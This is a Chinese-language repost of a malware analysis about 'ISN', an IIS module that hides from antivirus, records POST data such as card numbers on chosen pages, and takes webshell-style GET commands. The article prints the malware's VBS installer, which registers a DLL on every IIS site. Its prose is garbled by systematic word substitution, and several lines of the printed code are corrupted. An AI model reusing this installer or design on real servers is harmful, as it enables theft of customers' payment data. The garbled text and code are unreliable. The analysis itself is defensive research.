移动安全 安全管理 应用案例 网络威胁 系统安全应用安全 数据安全 云安全
当前位置: 主页 > 信息安全 > 应用安全 >

歹意软件假装成IIS模块加载 大都防毒产品免杀

时间:2013-12-16 12:53来源:TuZhiJiaMi企业信息安全专家 点击:
1、摘要 比来,国外安然公司发现了一些以DLL动态链接库情势存在的IIS模块存在歹意风险,这些歹意模块之所以受存眷,很大年夜启事是因为它们能躲过今朝几近所有的反病毒产品,报复打击者
Tags恶意程序(46)应用安全(1006)IIS(14)  

  1、摘要

  比来,国外安然公司发现了一些以DLL动态链接库情势存在的IIS模块存在歹意风险,这些歹意模块之所以受存眷,很大年夜启事是因为它们能躲过今朝几近所有的反病毒产品,报复打击者借助这些模块发送歹意POST数据包,并遵守得当的机制以此来获得敏感信息。

  这类歹意法度的方针不但仅局限于银行、电子商务网站的加密数据,同时还被用来获得例如登录账户及其他被发送到IIS实例上的数据(HTTP Header、MS-Chap令牌等)。同时要寄望的是,此次发现的歹意软件缝隙和之前陈述的歹意软件"Pony"没有任何干系。Pony首要针对的是终端用户,而这个IIS Module歹意法度主如果针对Web Server的。以下为陈述译文:

  下面是此次发现的歹意法度在各大年夜反病毒引擎上的查抄成果:

  https://www.virustotal.com/en/file/587e784f8c54b49f25c01e0e8f71c205bd422e2b673fb7fbf28d721aa768e055/

  事实证实,我所援引的这个DLL是一个IIS的原生安装模块,我想也该是时辰对这类歹意法度进行一个总结了,之所以这么做,有以下2个启事:

  a)在我写这篇文章的时辰,大年夜部门的反病毒软件都不会IIS目次下的DLL模块进行需要的查抄(经由过程设置白名单等),这导致了IIS的首要模块被替代后没法被杀毒软件捕获到异常。当然病毒的安装法度(用于进行替代工作的法度)也只是被少数的反病毒软件检测出异常,因为这些检测出异常的杀毒引擎大年夜大都采纳了"开导式扫描";

  b)我感觉这个歹意代码很是的精美。

  2、介绍

  让我们先看一下这个病毒的安装法度。法度承诺带良多参数变量以适应不合的环境:

  -path : [歹意法度将被安装的路径]

  -i : [方针URL地址, 例如 "/sensitive.aspx"

  -u : [卸载歹意法度]

  -is632 : [IIS6 32-Bit]

  -is664 : [IIS6 64-Bit]

歹意软件假装成IIS模块加载 大都防毒产品免杀

  事实上,安装法度很是简单。它包含有四个内嵌的式DLL文件(在PE布局的资本节区中),在安装的时辰按照方针系统的版本进步履态选择:

  IIS6 + 32-Bit

  IIS6 + 64-Bit

  IIS7 + 32-Bit

  IIS7 + 64-Bit

  别的,这个ISN歹意法度也有一个VBS文件被嵌进到了PE的资本节区中(文件的内容请参考援引部门),这个VBS脚本文件用于安装或卸载用于替代IIS模块的歹意DLL文件(即上面说到那4个DLL文件)。

  一旦运行,ISN.exe将履行以下把持:

  1. 将按照我们"-path"指定的位置,或当前的工作目次。把VBS复制到这个路径下,为后面的安装做预备,这个VBS文件将在安装完成删除,不会留下陈迹。

  2. 成立一个建设文件([文件].cfg)在统一个目次中。这个文件包含一个列表。

  3. 歹意法度的方针URL列表。

  4. 查抄IIS版本和报复打击方针的把持系统架构。

  5. 提取响应的DLL到安装目次(从PE的资本节区中)。

  6. 调用VBS文件文件将歹意的DLL模块安装为IIS的模块。(IIS只是经由过程DLL的文件名进步履态加载,即便这是一个歹意法度,DLL签名手艺在这里其实不克不及起到防御感化)。

  解压运行后的环境以下图:

  在安装的过程中会产生一些日记信息,这些信息有助于我们鉴定安装是不是成功和掉败的启事:

歹意软件假装成IIS模块加载 大都防毒产品免杀

  一旦成功安装的模块,它将监控在建设文件(isn.cfg)中指定的uri和dump(记实)任何捕获到的POST要求,将这些信息记实到[fileName].log中。该模块还将监控QUERY_STRING参数(IIS中的GPC参数,相当于PHP中的$_REQUEST),并可以接管一些报复打击者发送的号令(就像一个webshell一样)。我编写了一个简单的IIS实例来演示这个过程若何产生。

  3. 演示

  以下我们可以看到,我已成立了一个简单的web表单,将摹拟一个实际的电子商务网站。用户输进他们的名字和诺言卡号码和提交信息,然后脚本"/buy.aspx"返回用户输进的数据。

歹意软件假装成IIS模块加载 大都防毒产品免杀

  在本次演示中,我设置一个自签名证书(self-signed certificate ),如许所有的HTTP交互都经由过程SSL通信。

歹意软件假装成IIS模块加载 大都防毒产品免杀

  此刻,所有的正常的HTTP营业通信都先和我们的歹意法度进行了交互,这里要寄望的,我们必需在建设文件中明白指明我们要"跟踪"的脚本文件(例如,buy.aspx)。如许,当指定的.aspx脚本产生HTTP通信时,ISN.EXE会主动对捕获到的数据进行记实

歹意软件假装成IIS模块加载 大都防毒产品免杀

  我前面提到的,这个歹意法度可以像webshell那样工作,启事是因为它同时监测QUERY_STRING参数并对此中包含的"特点字符串"进行匹配检索。具体地说,它将寻觅以下号令:

  1. isn_getlog——的内容并返回。日记文件

  2. isn_logdel——删除并。日记文件

  3. isn_logpath——返回的路径并。日记文件

  这些号令可以简单地经由过程供给GET参数进行长途发送。

  "isn_getlog" example:

  "isn_logdel" example:

  "isn_logpath" example:

  4. 总结

  总的来讲,这个歹意软件仿佛没有遍及传播,只有在一些小我的案例中呈现。但是,极低的检出率与歹意软件的方针功能的连络使这中歹意法度成为一个很是实际的威胁。

  Trustwave WebDefend和ModSecurity可用于在"传染路径"的解缆点禁止这个歹意法度,它们可以检测是不是敏感的用户数据,如诺言卡号码呈此刻出站数据中(outbound data)。ModSecurity的链式过滤法则可以很好的对这个标题问题,包管数据从进站到出站每个环节的安然。

  5. 援引

  isn.exe

  http://www.findthatfile.com/search-1990823-fEXE/software-tools-download-isn-exe.htm

  HASP.EXE

  http://www.xrite.com/product_overview.aspx?ID=593&Action=support&SupportID=3339

  installer (9/48) – https://www.virustotal.com/en/file/587e784f8c54b49f25c01e0e8f71c205bd422e2b673fb7fbf28d721aa768e055/analysis/

  VBS File (0/49) – https://www.virustotal.com/en/file/688b80289a0c3771c7cee689c50a61b1c5215e8e5ac39a1120b3c7e4f4ada002/analysis/

  IIS6 64-Bit (0/49) – https://www.virustotal.com/en/file/956ed56ecc574f68b637e22add7c8e3cb0deea3b1e0dd02abea165bfcb7e3786/analysis/

  IIS6 32-Bit (0/47) – https://www.virustotal.com/en/file/9f501c052f2d4f4b0954f6060c7111f272ae29f9d88188d37c961c38e13e3905/analysis/

  IIS7+ 64-Bit (0/46) – https://www.virustotal.com/en/file/c6847600910ab196652a38e94ecf592e645d43025d1d61b3710b2f715238307b/analysis/

  IIS7+ 32-Bit (0/47) – https://www.virustotal.com/en/file/157174f0b9be66e3c9090c95efdd1dd23b19e42aa671758ebac5540a173f760c/analysis/

  Content of VBS File – https://gist.github.com/jgrunzweig/7840987

  OPTION EXPLICIT

  DIM CRLF, TAB

  DIM strServer

  DIM objWebService

  DIM WebSvcObj

  dim webID

  dim DllName

  dim strScriptMap

  dim objVDir

  dim arrScriptMaps

  dim arrScriptMapsTmp

  dim ISAPIlist

  dim bAdd

  dim bRemove

  dim i

  dim j

  dim cc

  TAB = CHR( 9 )

  CRLF = CHR( 13 ) & CHR( 10 )

  ISAPIlist = 0

  bAdd = 0

  bRemove = 0

  cc = 0

  If Wscript.Arguments.Count < 2 Then

  If Wscript.Arguments.Count = 0 Then

  Wscript.Echo "cscript isn.vbs /add - add to all web sites"

  Wscript.Echo "cscript isn.vbs /remove - remove from all web sites"

  Wscript.Echo "cscript isn.vbs /isapilist - list ISAPI for web site "

  Wscript.Echo "cscript isn.vbs /weblist - list web sites"

  Wscript.Echo "Example:"

  Wscript.Echo "cscript isn.vbs /add C:\WINDOWS\isn\isn.dll"

  Wscript.Echo "cscript isn.vbs /remove isn.dll"

  Wscript.Quit

  Else

  If Wscript.Arguments(0)="/weblist" Then

  'list web sites id and names

  SET objWebService = GetObject( "IIS://localhost/W3SVC" )

  EnumWebsites(objWebService)

  Wscript.Quit

  Else

  Wscript.Echo "wrong param"

  Wscript.Quit

  End If

  End If

  Else

  If Wscript.Arguments(0)="/isapilist" Then

  webID = Wscript.Arguments(1)

  ISAPIlist = 1

  ElseIf Wscript.Arguments(0)="/add" Then

  bAdd = 1

  DllName = Wscript.Arguments(1)

  ElseIf Wscript.Arguments(0)="/remove" Then

  bRemove = 1

  DllName = Wscript.Arguments(1)

  End If

  End If

  If ( (bAdd=0) And (bRemove=0) And (ISAPIlist=0) ) Then

  Wscript.Echo "Wrong params!"

  Wscript.Quit

  End If

  If bAdd=1 Then

  SET objWebService = GetObject( "IIS://localhost/W3SVC" )

  strScriptMap = "*,"+DllName+",4,All"

  AddToWebsites(objWebService)

  Set WebSvcObj = GetObject("IIS://LocalHost/W3SVC")

  WebSvcObj.EnableExtensionFile("*.dll")

  WebSvcObj.SetInfo

  End If

  If bRemove=1 Then

  SET objWebService = GetObject( "IIS://localhost/W3SVC" )

  RemoveFromWebsites(objWebService)

  Set WebSvcObj = GetObject("IIS://LocalHost/W3SVC")

  WebSvcObj.DisableExtensionFile("*.dll")

  WebSvcObj.SetInfo

  Wscript.Echo DllName + " deleted"

  End If

  If ISAPIlist=1 Then

  Set objVDir = GetObject("IIS://LocalHost/W3SVC/"+webID+"/Root")

  arrScriptMaps = objVDir.Get("ScriptMaps")

  For i = LBound(arrScriptMaps) to UBound(arrScriptMaps)

  Wscript.Echo arrScriptMaps(i)

  Next

  Wscript.Quit

  End If

  FUNCTION AddToWebsites( objWebService )

  DIM objWebServer, strBindings

  FOR EACH objWebServer IN objWebService

  IF objWebserver.Class = "IIsWebServer" THEN

  Set objVDir = GetObject("IIS://LocalHost/W3SVC/"+objWebserver.Name+"/Root")

  arrScriptMaps = objVDir.Get("ScriptMaps")

  arrScriptMapsarrScriptMapsTmp = arrScriptMaps

  ReDim Preserve arrScriptMaps(UBound(arrScriptMaps) + 1)

  j = LBound(arrScriptMaps)

  arrScriptMaps(j) = strScriptMap

  j = 0

  For i = 1 to UBound(arrScriptMaps)

  arrScriptMaps(i)=arrScriptMapsTmp(j)

  jj = j+1

  Next

  objVDir.Put "ScriptMaps", arrScriptMaps

  objVDir.SetInfo

  Wscript.Echo "Add "+DllName+" to Web Site ID "+objWebserver.Name+" success!"

  END IF

  NEXT

  END FUNCTION

  FUNCTION RemoveFromWebsites( objWebService )

  DIM objWebServer, strBindings

  FOR EACH objWebServer IN objWebService

  IF objWebserver.Class = "IIsWebServer" THEN

  Do

  Set objVDir = GetObject("IIS://LocalHost/W3SVC/"+objWebserver.Name+"/Root")

  arrScriptMaps = objVDir.Get("ScriptMaps")

  arrScriptMapsarrScriptMapsTmp = arrScriptMaps

  cc=0

  For i = LBound(arrScriptMapsTmp) to UBound(arrScriptMapsTmp)

  If InStr(arrScriptMapsTmp(i), DllName)>0 then

  arrScriptMapsTmp(i) = ""

  cccc=cc+1

  Wscript.Echo "Found "+DllName+" in "+objWebserver.Name+", delete"

  'exit for 'exit loop

  End If

  Next

  If cc=0 Then

  Wscript.Echo DllName+" in "+objWebserver.Name+" NOT found"

  Exit Do

  End If

  ReDim Preserve arrScriptMaps(UBound(arrScriptMaps)-cc)

  j = LBound(arrScriptMapsTmp)

  for i = LBound(arrScriptMapsTmp) to UBound(arrScriptMapsTmp)

  If arrScriptMapsTmp(i)<>"" Then

  arrScriptMaps(j)=arrScriptMapsTmp(i)

  jj = j+1

  End If

  Next

  objVDir.Put "ScriptMaps", arrScriptMaps

  objVDir.SetInfo

  Exit Do

  Loop While False

  END IF

  NEXT

  END FUNCTION

  FUNCTION EnumWebsites( objWebService )

  DIM objWebServer, strBindings

  FOR EACH objWebServer IN objWebService

  IF objWebserver.Class = "IIsWebServer" THEN

  WScript.Echo _

  "Site ID = " & objWebserver.Name & CRLF & _

  "Comment = """ & objWebServer.ServerComment & """ " & CRLF & _

  "State = " & State2Desc( objWebserver.ServerState ) '& CRLF & _

  '"LogDir = " & objWebServer.LogFileDirectory & _

  '""

  ' Enumerate the HTTP bindings (ServerBindings) and

  ' SSL bindings (SecureBindings)

  'strBindings = EnumBindings( objWebServer.ServerBindings ) & _

  ' EnumBindings( objWebServer.SecureBindings )

  'IF NOT strBindings = "" THEN

  ' WScript.Echo "IP Address" & TAB & _

  ' "Port" & TAB & _

  ' "Host" & CRLF & _

  ' strBindings

  'END IF

  END IF

  NEXT

  END FUNCTION

  FUNCTION EnumBindings( objBindingList )

  DIM i, strIP, strPort, strHost

  DIM reBinding, reMatch, reMatches

------分隔线----------------------------

推荐内容